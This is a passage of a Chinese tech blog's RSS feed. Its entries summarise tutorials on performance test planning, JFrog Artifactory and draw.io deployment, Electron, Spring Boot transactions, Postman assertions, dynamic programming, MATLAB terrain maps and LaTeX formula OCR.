      <description>目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 1、性能测试的四个方面&#xA;完整的性能测试可以分为四个方面：&#xA;1）测试策略制定；&#xA;2）性能脚本编写；&#xA;3）被测系统监控&#xA;4）性能瓶颈调优。&#xA;2、测试需求分析&#xA;1）业务场景分析&#xA;测试银行核心系统时将柜员签到、签退、业务操作、批量等众多交易放在同一场景中执行，这样的场景在现实中是否存在？&#xA;测试POS、ATM等渠道时将查询、动账类交易各按50%的比例分配，这样的比例是否正确？&#xA;所有的性能测试都是以复现实际业务场景为目标。因此业务场景分析和选取务必严谨。业务场景应该从时间和空间两个角度考虑：&#xA;时间角度：&#xA;分别以一年、一月、一天的角度观察，被测系统是否存在业务高峰时段。各高峰时段的重点交易是什么，交易比例如何。&#xA;空间角度：&#xA;根据各分行业务特点不同，被测系统是否存在不同的高峰场景和交易，操作交易的柜员数量及一般操作时间是多少。&#xA;业务场景分析阶段应向业务、研发、运维等多部门了解被测系统需求，但就数据准确度而言，应多参考生产日志。&#xA;对升级改造类系统，场景分析的数据可从老系统的生产日志中获取；对新开发的系统，分析数据可从业务上有关联的其他系统中获取，同时参考业务部门意见。&#xA;典型业务场景可以不止一个，但一定要明确各场景中的交易和比例，不要模拟一个不存在的大混合！&#xA;2）负载目标计算&#xA;与项目管理中的SMART原则类似，业务场景需转换成可量化、可衡量、可实现的负载目标才能进行性能测试，而负载目标要根据不同场景分别计算。&#xA;根据上阶段收集到“原始”数据，本阶段可计算或指定出各种间接和直接的负载目标值，一般负载目标多从两种角度考虑：&#xA;前端角度：&#xA;在线用户数量：间接负载目标值，可理解为所有能操作被测交易的用户（柜员）数量。&#xA;平均操作时间（思考时间）：间接负载目标值，与在线用户数量一同计算业务并发数量。&#xA;业务并发数量：典型场景中集中操作（不是绝对并发）交易的用户（柜员）数量。&#xA;后端角度：&#xA;每秒交易数量（TPS）：根据日志计算出的被测系统应承受的每秒交易数量。&#xA;交易响应时间（TRT）：与TPS对应，负载场景下交易应达到的响应时间。&#xA;吞度量（Throughout）：LoadRunner中吞度量是以每秒收到的字节数计算，其实TPS也是吞吐量的一种，根据不同被测系统计算对应的吞吐量。&#xA;系统并发数量：区别于业务并发数量，系统并发数量更趋近于绝对并发。对长连接系统来说系统并发就等于允许的连接数，对短连接系统来说更多取决于架构。&#xA;被测系统CPU、Mem、Disk等指标值：多为指定值，如CPU利用率不高于80%等。&#xA;前端负载目标需要通过大量、广泛的业务和日志统计才能得出，如需记录下高峰时段操作交易的用户数量、估算用户状态比例、统计操作习惯等，由于考虑到人的因素，因此前端负载很难计算精确。&#xA;前端负载目标适合交易关联不大、操作用户分散、无具体业务量要求的系统，如内控管理、培训考核、网银主页等（以B/S架构为主）。&#xA;后端负载目标则比较容易计算，如当前某省对公汇兑类交易日均8万笔，则TPS=80000/（66060）=3.7笔/秒（对公按6小时计算）；&#xA;核心系统联机交易平均响应时间在3秒以下等。后端负载目标适合交易关联度大、操作用户相对集中、有具体业务量要求的系统，以银行核心业务系统为主。&#xA;负责目标需要针对不同类型的被测系统计算合理的目标值，同时还需考虑2/8原则，未来业务量、用户量扩展等因素，这里不做赘述。&#xA;3、测试环境设计&#xA;1）硬件环境设计&#xA;大部分性能测试的硬件环境与生产相去甚远，受品牌、型号、部署方式（集群个数减少，软负载均衡代替硬负载均衡）等多种因素限制，无法直接将测试环境下的性能结果向生产环境做比例放大。&#xA;因此硬件环境设计主要关注应用架构与生产环境一致（如应用、数据库服务器必须为集群方式），尽量减少性能测试中的硬件资源瓶颈（如数据库存储必须为SAN，发压与被测系统间网络带宽必须为1000M）。&#xA;2）软件环境设计&#xA;软件测试环境可从两个方面考虑：&#xA;基础配置：&#xA;确认操作系统、中间件、数据库和被测系统的版本与补丁与生产环境一致，但操作系统、中间件、数据库的内部参数应根据测试硬件环境做适当调整，可参考生产中的设置比例。&#xA;数据库分区、索引等必须与生产或预计投产时一致。&#xA;外联系统：&#xA;尽量减少外联系统，因为外联系统越多，测试链条越长，环境越难维护，问题越难定位。可适当在被测系统中做挡板程序，模拟与外联系统的应答，但必须保证被测系统中的逻辑分支没有被屏蔽。&#xA;3）铺底数据策略&#xA;性能铺底数据量的大小和分布情况会对测试结果产生极大影响，是场景设计阶段的重中之重！测试前对铺底数据的构造可从以下四个方面考虑：&#xA;表分区情况：&#xA;确认测试环境与生产环境（或预计投产后）的表分区和索引分区规划一致，结合表清理策略确认典型场景中各分区、各表中的数据存量大小和分布情况。&#xA;表清理策略：&#xA;确认生产环境（或预计投产后）的数据库表（尤其业务热表）清理和备份策略，与表分区情况配合，预铺数据并确保测试数据库表中数据存量与生产保持同一量级。&#xA;表维护策略：&#xA;确认当前生产数据库表（尤其热表）和索引统计值更新、rebuild和reorg等操作的频度，在数据预铺中适当更新统计值，切勿在测试环境中频繁执行统计值更新等操作，造成虚假的性能表现。&#xA;如下图，更新统计值后表和索引的相关信息会统计正确，性能将得到一定程度的提升。&#xA;合理的业务数据：&#xA;确认铺底数据中的柜员、行部、角色、权限、待处理任务等业务数据是否符合实际情况，切勿为图省事而创建超级行部、全能柜员和过量的待处理任务。&#xA;4、测试场景设计&#xA;1）发压数据策略&#xA;测试发压数据应在数据铺底时一同考虑，但发压数据需要和压力工具配合使用，可从以下四个方面考虑：&#xA;表分区情况：&#xA;确认发压数据覆盖各表分区，且在分区中也需尽量离散，不要集中操作（主要是查询）同一范围内的数据。&#xA;表维护策略：&#xA;通常生产环境中数据库表在日终结束后执行统计值更新，对应第二天营业时的数据状态，除柜员签到外，其余典型场景均发生在更靠后的营业时段。&#xA;因此不要在刚刚执行完统计值更新的环境中执行正式的性能测试，建议再执行一段时间的数据预铺，模拟行部营业一段时间后的业务，这时再执行正式的性能测试，并记录结果。</description>
    </item>
    <item>
      <title>JFrog Artifactory二进制文件管理工具部署使用</title>
      <link>https://bchobby.github.io/posts/057eb1b6f10b30169f748b387cba08e0/</link>
      <pubDate>Sun, 10 Dec 2023 12:07:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/057eb1b6f10b30169f748b387cba08e0/</guid>
      <description>目录 1.简介2.下载安装包3. 安装4. 使用 1.简介 JFrog Artifactory二进制文件管理工具，目前已经在使用的公司有很多，足见他的方便好用。&#xA;2.下载安装包 点击下载地址&#xA;这里我下载的是7.9.2版本&#xA;3. 安装 （1）在安装JFrog Artifactory之前需要安装好jdk（需要1.8版本以及上即可），在Linux执行java -version检查下安装环境是否已安装好jdk&#xA;(2) 上传下载的二进制压缩包jfrog-artifactory-oss-7.9.2-linux.tar.gz到Linux的/opt目录下,并解压&#xA;cd /opt tar -zxvf jfrog-artifactory-oss-7.9.2-linux.tar.gz mv artifactory-oss-7.9.2 jfrog_artifactory (3)进入/opt/jfrog_artifactory/app/bin目录，然后启动jfrog artifactory&#xA;./artifactoryctl 命令参数&#xA;命令参数说明start启动运行stop停止运行restart重启运行status查看运行状态check检查 cd /opt/jfrog_artifactory/app/bin ./artifactoryctl start 看图表示已成功启动运行&#xA;（4）浏览器访问&#xA;访问地址：http://部署的IP地址:端口号,默认端口号是8081，如果占用可以修改成其他端口号启动&#xA;例如：http://192.168.225.68:8081&#xA;4. 使用 首先登陆，用户名：admin 密码：password，登陆后需要修该密码。&#xA;修改上传文件大小的限制，默认限制100M,改为0就是无限制&#xA;到此配置完成，可以使用了！！！&#xA;创建一个新库install_packages&#xA;选择新库类型&#xA;给新库命名&#xA;上传文件&#xA;点击上传箭头或者把文件直接拖拽到这里都可以&#xA;上传的文件也可以下载使用</description>
    </item>
    <item>
      <title>drawio画图工具的四种使用方式</title>
      <link>https://bchobby.github.io/posts/8c06fb5e49e22599e782bbf34e6893aa/</link>
      <pubDate>Sun, 10 Dec 2023 12:06:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c06fb5e49e22599e782bbf34e6893aa/</guid>
      <description>目录 1、免安装使用（绿色版）2、 安装使用3、war包部署4、docker容器部署 1、免安装使用（绿色版） 这种直接下载下来直接就可以使用，属于绿色版（开箱即用），适用于个人&#xA;点击下载地址&#xA;2、 安装使用 这种下载下来就需要安装才可使用，适用于个人&#xA;点击下载地址&#xA;3、war包部署 drawio软件使用java开发的,所以可以使用部署war包的方式部署在tomcat里面，把war包放到tomcat的webapps目录下然后启动tomcat后直接使用浏览器就可以访问网页版，适用于团队使用&#xA;点击下载地址&#xA;访问地址：http://部署drawio的IP地址:端口号/draw&#xA;例如：http://192.168.225.68:8080/draw&#xA;4、docker容器部署 这种是使用drawio的docker镜像启动容器的方式部署web版，前提是你的系统要先安装docker,然后在使用下面的命令启动docker容器,直接使用浏览器就可以访问网页版，适用于团队使用&#xA;docker pull jgraph/drawio 镜像拉下来后再启动容器 docker run -d --name drawio -p 9999:8080 c169fe2d8326 访问地址：http://部署docker的IP地址:映射端口号/draw&#xA;例如：http://192.168.225.62:9999/draw</description>
    </item>
    <item>
      <title>Electron：白话Electron开发桌面端应用</title>
      <link>https://bchobby.github.io/posts/0176b533181fb16ffd12b22ef93f8d14/</link>
      <pubDate>Sun, 10 Dec 2023 11:29:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0176b533181fb16ffd12b22ef93f8d14/</guid>
      <description>最近在公司分享了Electron的相关技术栈的应用，准备的还是挺充分的，下面将分享的内容大纲附上&#xA;1 为什么Electron这么火 1.1 Electron是什么？ Electron是Github开发的开源框架&#xA;它允许开发者使用web技术构建跨平台桌面，兼容 Mac、Windows（exclude XP） 和 Linux,可以构建同时支持三个平台的应用程序&#xA;跨平台构建应用，一直都是香饽饽，随着载体产商的丰富之后，已经不能满足于以前的android和ios两大阵营，同时还有各种小程序，从微信到抖音、百度、支付宝等，因此应运而生的就有各种岗位的需求，但是当这种需求达到一定波峰的时候，势必会走下坡路，更别说出现了各种的跨平台的技术加持，这种下坡速度就更快了。&#xA;Electron就是这种跨平台技术阵营的一员，虽然相比C++等以更接近底层和追求性能的技术相比，有一定的差距瓶颈，但是随着硬件的快速发展，这种跨平台技术的性能缺陷，完全可以忽略，同时因为其入门简单，社区活跃，发展迅速，反而占据了一定市场。&#xA;这边重点提下发展迅速的意思吧，举个例子我再11月5日中午的时候，版本还是27.0.2，到了晚上的时候就版本就更新到了27.0.3，到了11月16日的时候，版本已经升级到了27.0.10。迭代的频率够大了吧，但是这么快的频率背后也是有一些问题的，这边先不说！&#xA;1.2 什么时候用Electron 快速试错场景 比如工期有限，需要快速出demo&#xA;效率工具和开发者工具 说白了，就是提升我们工作效率的工具的开发，可以考虑用Electron；同时开发人员要用的工具都可以考虑用这个来开发，比如我最近在云内正在构建的知识库-桌面版，目前已经有知识库-web版并在项目组内部在用了，但是还是有诸多的场景感觉瓶颈很明显，比如对本地文件的处理。后续的多功能记事本案例就是对这个的说明。&#xA;成本管控严格 就是说就这么多人力和财力预算，但是让你同时开发桌面应用、web应用，这个时候肯定不可能又招ui工程师、前端工程师、后端工程师、C++开发工程师等。那么这个时候就可以考虑Electron的引入了。&#xA;1.3粉丝应用有哪些？ Electron的发展其实很久了，在技术领域不算新秀了，最初被GitHub开发，2013年4月11日以Atom Shell为名起步，2014年5月16日开源，2015年4月17日改名为Electron。&#xA;我最早听到Electron是从听说vscode是用electron开发的，后面进一步了解，还有像美团大象、Atom等。难怪Vscode看起来跟其他的工具相比，总觉得好看多了。&#xA;2 白话Electron架构原理 2.1 最简单的Electron应用 一个最简单的Electron项目包括三个文件&#xA;package.jsonindex.html 渲染进程页面 main.js 主进程文件 2.2 Electron核心 2.2.1 Node.js - 能力：底层能力，支持与底层OS交互 - 后台服务的能力，增强web技术 - 技术手段多，开源npm包丰富 Node.js作为可以替代Java开发服务的技术，在整个应用开发过程中，作用非常明显。并且曾经Node.js以其拥有最大的依赖包仓库而广为闻名，因此各种前卫的、流行的功能，有它的加成，实现都是轻而易举的，比如基于Puppeteer库，可以快速且低代码的完成截屏、海报等图片的生成。&#xA;2.2.2 内置Native API - 跨平台 - 原生能力：比如窗口，进程监控等 2.2.3 Chromium - 高效：通过WEB技术写UI - 强大且通用 - 兼容性强 引入了chromium，可以简单的理解Electron应用其实就是一个简版的chromium浏览器应用。那么浏览器能做什么，它也就能做什么了。所以用Electron开发出来的桌面应用就可以有非常高的颜值了。&#xA;chromium是多进程架构，引入两个概念：主进程和渲染进程，Electron里头的主进程和渲染进程也是由此得到的。&#xA;2.2.3.1 主进程 就是用来创建窗口、创建顶部菜单、右键菜单等。一个应用只有一个主进程。(Browser)&#xA;2.2.3.2 渲染进程 每个具体的窗口页面，就是一个渲染进程（Render）,一个应用可以有多个渲染进程的。</description>
    </item>
    <item>
      <title>Electron[4] Electron最简单的打包实践</title>
      <link>https://bchobby.github.io/posts/5bad879ecfdb3badd7c48f92b22936a0/</link>
      <pubDate>Sun, 10 Dec 2023 11:14:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bad879ecfdb3badd7c48f92b22936a0/</guid>
      <description>1 背景 前面三篇已经完成通过Electron搭建的最简单的HelloWorld应用了，虽然这个应用还没添加任何实质的功能，但是用来作为打包的案例，足矣。下面再分享下通过Electron-forge来将应用打包成安装包。&#xA;2 依赖 在Electron[2] Electron使用准备里头，我们已经安装好了Electron-forge，不懂的请点击下面的连接跳转。&#xA;Electron[2] Electron使用准备https://weilintao.blog.csdn.net/article/details/134227423?spm=1001.2014.3001.5502在开始打包之前，请再次检查package.json里头是否有如下命令：&#xA;&#34;package&#34;: &#34;electron-forge package&#34;, &#34;make&#34;: &#34;electron-forge make&#34; 3 打包 3.1 预打包 控制台执行如下命令：&#xA;npm run package 命令执行日志：&#xA;PS C:\xysj\electron\my-electron-app&amp;gt; npm run package &amp;gt; my-electron-app@1.0.0 package &amp;gt; electron-forge package ✔ Checking your system ✔ Running generateAssets hook ✔ Running prePackage hook ✔ Packaging application ✔ Packaging for x64 on win32 [21s] ✔ Running postPackage hook 这个命令是模拟打包的，最终会在/out/目录下生成一个文件夹，里头有模拟生成的包应用，此时还不是安装包，但是通过这种方式可以看打包后的效果。 其中my-electron-app.exe就是应用入口文件，双击即可执行。&#xA;3.2 打安装包 npm run make 命令执行日志：</description>
    </item>
    <item>
      <title>springboot mybatis手动事务</title>
      <link>https://bchobby.github.io/posts/b2181fe4f414d6296d393b1bcbae9963/</link>
      <pubDate>Sun, 10 Dec 2023 10:28:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2181fe4f414d6296d393b1bcbae9963/</guid>
      <description>创建springboot项目 搭建最简单的SpringBoot项目-CSDN博客&#xA;引入mybatis和数据库依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.3.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.33&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.18.28&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 创建springboot配置文件 spring: datasource: url: jdbc:mysql://192.168.30.128:3306/wd username: root password: 4752 mybatis: mapper-locations: classpath:mapper/*Mapper.xml configuration: log-impl: org.apache.ibatis.logging.stdout.StdOutImpl 创建启动类 package com.wd; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class SpringbootMybatisApp { public static void main(String[] args) { SpringApplication.run(SpringbootMybatisApp.class, args); } } 创建数据库实体 package com.wd.pojo; import lombok.Data; import java.util.Date; @Data public class User { private int id; private String name; private String addr; private Date updateTime; } 创建Mapper package com.</description>
    </item>
    <item>
      <title>springboot jpa手动事务</title>
      <link>https://bchobby.github.io/posts/54350e1aa0ddc275ac7e7c3e7eeb0713/</link>
      <pubDate>Sun, 10 Dec 2023 09:36:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54350e1aa0ddc275ac7e7c3e7eeb0713/</guid>
      <description>创建springboot项目 搭建最简单的SpringBoot项目_Steven-Russell的博客-CSDN博客&#xA;引入jpa和数据库依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-jpa&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.33&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.18.28&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; 创建实体类 @Data @Entity @Table(name = &#34;tbl_user&#34;) public class User { @Id @Column @GeneratedValue private int id; @Column private String name; @Column private String addr; @UpdateTimestamp @Column private Date updateTime; } 创建Repository public interface UserRepository extends CrudRepository&amp;lt;User, Integer&amp;gt; { @Transactional @Modifying int deleteAllByNameIn(@Param(value = &#34;nameList&#34;) List&amp;lt;String&amp;gt; nameList); } 创建controller 并且注入 事务管理器和Repository 注意：需要注入 PlatformTransactionManager</description>
    </item>
    <item>
      <title>Pandas pd.to_excel 报错</title>
      <link>https://bchobby.github.io/posts/16ea45e52bd355ef24e5c2764f6096b3/</link>
      <pubDate>Sun, 10 Dec 2023 01:49:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16ea45e52bd355ef24e5c2764f6096b3/</guid>
      <description>报错翻译：&#xA;未来警告： 由于 xlwt 软件包已不再维护，xlwt 引擎将在未来版本的 pandas 中移除。这是 pandas 中唯一支持写入 xls&#xA;格式文件的引擎。请安装 openpyxl 并改写为 xlsx 文件。你可以将io.excel.xls.writer选项设置为&#xA;“xlwt”，以消除此警告。虽然该选项已被弃用，而且也会引发警告，但可以全局设置该选项并抑制警告。&#xA;Y.to_excel(‘I:/stereo vision/cy.xls’)&#xA;报错原文：&#xA;F:\FFlie\paper learning\y.py:137: FutureWarning: As the xlwt package is no longer maintained, the xlwt engine will be removed in a future version of pandas. This is the only engine in pandas that supports writing in the xls format. Install openpyxl and write to an xlsx file instead. You can set the option io.</description>
    </item>
    <item>
      <title>PostMan：Body中常用断言及注意点（3）</title>
      <link>https://bchobby.github.io/posts/b280f9c63746a3b869bbb0e1e2298c6a/</link>
      <pubDate>Sun, 10 Dec 2023 00:53:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b280f9c63746a3b869bbb0e1e2298c6a/</guid>
      <description>1.状态码：200&#xA;1）手写添加状态码&#xA;//添加一个状态码&#xA;tests[“验证状态码200”]=responseCode.code ===200&#xA;//添加多个状态码(添加多个状态时，必须是同一类，即不能同时添加200和304)&#xA;tests[“验证状态码200”]=responseCode.code ===200 || responseCode.code ===201&#xA;2）PostMan沙箱添加&#xA;//添加一个状态码（status Code :code is 200）&#xA;pm.test(“验证状态码： 200”, function () {&#xA;pm.response.to.have.status(200);&#xA;});&#xA;//添加多个状态码（status Code :successful Postman request）&#xA;pm.test(“验证状态码200”, function () {&#xA;pm.expect(pm.response.code).to.be.oneOf([200,201, 202]);&#xA;});&#xA;2.响应时间&#xA;1）手写添加响应时间&#xA;// 响应时间：小于多少&#xA;tests[“验证响应时间小于2s”]=responseTime &amp;lt; 2000;&#xA;//响应时间：在某范围内&#xA;tests[“验证响应时间在50ms~2000ms之间”]=_.inRange(responseTime,50,2000);&#xA;2）PostMan沙箱添加（response time is less than 200ms）&#xA;pm.test(“验证响应时间小于200ms”, function () {&#xA;pm.expect(pm.response.responseTime).to.be.below(200);&#xA;});&#xA;3.返回主体（Body）中包含某内容([1]返回主体信息一定要是raw中的原始信息；[2]存在*“转译”**的问题，如raw中&#34;\u6b66\u6c49&#34;代表&#34;武汉&#34;，断言中要多添加一个“\”转义，即“\u6b66\u6c49”*&#xA;)&#xA;1）手写添加&#xA;tests[“验证主体断言包含：汇通”]=responseBody.has(“汇通”)&#xA;2）PostMan沙箱添加（response body :contains string）&#xA;pm.test(“验证body中包含：安心定期寿险B款”, function () {</description>
    </item>
    <item>
      <title>动态规划（dp）初步学习案例讲解</title>
      <link>https://bchobby.github.io/posts/296320627813dd619adae31d8c37deca/</link>
      <pubDate>Sun, 10 Dec 2023 00:26:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/296320627813dd619adae31d8c37deca/</guid>
      <description>问题（来源：leetcode300）： 给你一个整数数组 nums ，找到其中最长严格递增子序列的长度。&#xA;子序列 是由数组派生而来的序列，删除（或不删除）数组中的元素而不改变其余元素的顺序。例如，[3,6,2,7] 是数组 [0,3,1,6,2,2,7] 的子序列。&#xA;示例 1：&#xA;输入：nums = [10,9,2,5,3,7,101,18] 输出：4 解释：最长递增子序列是 [2,3,7,101]，因此长度为 4 。 示例 2：&#xA;输入：nums = [0,1,0,3,2,3] 输出：4 举例说明：&#xA;从上述案例nums可以看出（1 2 4）或者（1 2 3）都可以是最长的一个答案，而我们只要求出他的长度即可。&#xA;方案一，暴力穷举： 暴力穷举往往是最简单也最容易想到的，通过一步步逐步筛选，逐步搜索进行穷举。将其通过循环逐步套取，把每个子序列都进行一遍搜索，完成答案的求解，取最长数列长度即可。&#xA;通过一个getLen函数进行最长子序列的求取，需要注意的是，当i取到序列的最后一位时，返回长度1，停止搜索，而当你本身被搜索时就是一个长度单位，所以每次搜索的maxlen初始长度为1。&#xA;时间复杂度：假定数组长度为n，即可生成2^n个子序列（数组中的每个数字可以选择取用或者不取用两个方式，n个长度，即可为2^n个），每个子序列都需要进行n次遍历，即为O（n），所以时间 复杂度为O(2^n)*O(n)。&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;algorithm&amp;gt; #include &amp;lt;cmath&amp;gt; #include &amp;lt;vector&amp;gt; #include &amp;lt;chrono&amp;gt; using namespace std; int getLen(vector&amp;lt;int&amp;gt; num, int i) { if (i == num.size() - 1) return 1; int maxlen = 1; for (int j = i + 1;j &amp;lt; num.</description>
    </item>
    <item>
      <title>m_map导入本地地形数据</title>
      <link>https://bchobby.github.io/posts/b5fddcb3edbd7b666a5cf8e42aba1cf1/</link>
      <pubDate>Sat, 09 Dec 2023 22:25:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5fddcb3edbd7b666a5cf8e42aba1cf1/</guid>
      <description>m_map绘制地形图时，虽然自带有1°的地形图以及从NOAA下载的1分的地形图（详见：Matlab下地形图绘图包m_map安装与使用），但有时需要对地形图分辨率的要求更高，便无法满足。&#xA;此时，需要导入本地地形数据文件，例如多波束测深。&#xA;这里以从https://www.ncei.noaa.gov/maps/grid-extract/下载的15秒地形数据为例，展示如何导入本地地形数据并绘图。&#xA;关键函数为m_shadedrelief。&#xA;1. 1分的分辨率地图 m_proj(&#39;mercator&#39;,&#39;long&#39;,[118 124],&#39;lat&#39;,[20 24]); caxis([-6000 6000]) colormap(slanCM(&#39;terrain&#39;)) hc=colorbar; set(get(hc,&#39;title&#39;),&#39;string&#39;,&#39;Elevation(m)&#39;)&#x9;set(hc,&#39;tickdir&#39;,&#39;out&#39;) m_etopo2(&#39;shadedrelief&#39;,&#39;lightangle&#39;,45,&#39;gradient&#39;,5); m_gshhs(&#39;ic&#39;,&#39;color&#39;,&#39;k&#39;) m_grid(&#39;box&#39;,&#39;on&#39;,&#39;tickdir&#39;,&#39;out&#39;,&#39;gridlines&#39;,&#39;no&#39;) set(gcf,&#39;position&#39;,[10 10 1200 800]) figname=&#39;test1&#39; print(&#39;-dpng&#39;,&#39;-r1000&#39;,[figname,&#39;.png&#39;]) % 导出png图片 结果如下：&#xA;2. 15秒的分辨率地图 load(&#39;scs_elevation.mat&#39;) elev=flipud(elev); lonlim=[extent(1:2)] latlim=[extent(3:4)] [nlat,nlon]=size(elev); Lon=[linspace(lonlim(1),lonlim(2),nlon)]; Lat=[linspace(latlim(1),latlim(2),nlat)]&#39;; m_proj(&#39;mercator&#39;,&#39;long&#39;,[118 124],&#39;lat&#39;,[20 24]); caxis([-6000 6000]) colormap(slanCM(&#39;terrain&#39;)) hc=colorbar; set(get(hc,&#39;title&#39;),&#39;string&#39;,&#39;Elevation(m)&#39;)&#x9;set(hc,&#39;tickdir&#39;,&#39;out&#39;) m_shadedrelief(Lon,Lat,elev,&#39;lightangle&#39;,45,&#39;gradient&#39;,5) m_gshhs(&#39;ic&#39;,&#39;color&#39;,&#39;k&#39;) m_grid(&#39;box&#39;,&#39;on&#39;,&#39;tickdir&#39;,&#39;out&#39;,&#39;gridlines&#39;,&#39;no&#39;) set(gcf,&#39;position&#39;,[10 10 1200 800]) figname=&#39;test2&#39; print(&#39;-dpng&#39;,&#39;-r600&#39;,[figname,&#39;.png&#39;]) % 导出png图片 可见15秒分辨率地图比1分地图能显示更多细节。 注：绘图色标参考自：https://blog.csdn.net/slandarer/article/details/127719784</description>
    </item>
    <item>
      <title>公式识别任务各个链条全部打通</title>
      <link>https://bchobby.github.io/posts/4928d02f6a6fbeae26796e804eed2f57/</link>
      <pubDate>Sat, 09 Dec 2023 21:42:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4928d02f6a6fbeae26796e804eed2f57/</guid>
      <description>目录 引言公式识别任务是什么？公式识别任务解决方案初探使用建议写在最后 引言 随着LaTeX-OCR模型转换问题的解决，公式识别任务中各个链条已经全部打通。小伙伴们可以放开膀子干了。&#xA;解决业界问题的方案，并不是单独训练一个模型就完事了，而是有着上下游的依赖。这就像工厂中流水线作业一样，一个小东西的生产是依赖无数个中间阶段才完成的。&#xA;一个模型应用到产品中，也是有着类似的流水线的。相比于工厂中流水线，这里的链条只是更加隐蔽一些而已。&#xA;公式识别任务是什么？ 公式识别任务：指的是将图像中公式识别为对应的LaTeX写法，便于后续加工处理。&#xA;公式识别任务距离我们最近的应用场景便是论文写作。在我上大学写毕业论文时，由于当时并不知道LaTeX这种东西可以用来写公式，整个毕业论文公式都是在Word上用鼠标点出来的，好不痛苦。&#xA;比较推荐大家学一学LaTeX排版，绝对是提效利器，用过的人都说好。&#xA;动图来自LaTeX-OCR&#xA;公式识别任务解决方案初探 解决公式识别任务，我这里姑且粗略地分为四个部分：公式识别数据集处理、训练识别模型、转换识别模型和部署使用。&#xA;取之开源，回馈开源，一直是我们的准则。以上四部分具体地址如下，除训练识别模型为lukas-blecher外，其余均经由我整理。欢迎大家多多使用和提建议。&#xA;预处理公式库ProcessLaTeXFormulaTools: https://github.com/SWHL/ProcessLaTeXFormulaTools&#xA;训练识别模型库LaTeX-OCR: https://github.com/lukas-blecher/LaTeX-OCR&#xA;转换模型为ONNX格式库ConvertLaTeXOCRToONNX: https://github.com/SWHL/ConvertLaTeXOCRToONNX&#xA;部署使用库RapidLaTeXOCR: https://github.com/RapidAI/RapidLaTeXOCR&#xA;使用建议 先尝试RapidLaTeXOCR中识别模型识别效果，是否满足场景需求。&#xA;如果不满足，再考虑结合自身场景，将上述四部分走一遍，定制化自己的公式识别模型。&#xA;写在最后 本篇文章只是简单介绍，具体请移步文中各个部分的仓库下查看。&#xA;如有具体微调，部署等需求，欢迎后台详细咨询。</description>
    </item>
    <item>
      <title>【linux】nano 快捷键</title>
      <link>https://bchobby.github.io/posts/0669d7015527726e716718f7b3c9a4b0/</link>
      <pubDate>Sat, 09 Dec 2023 21:03:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0669d7015527726e716718f7b3c9a4b0/</guid>
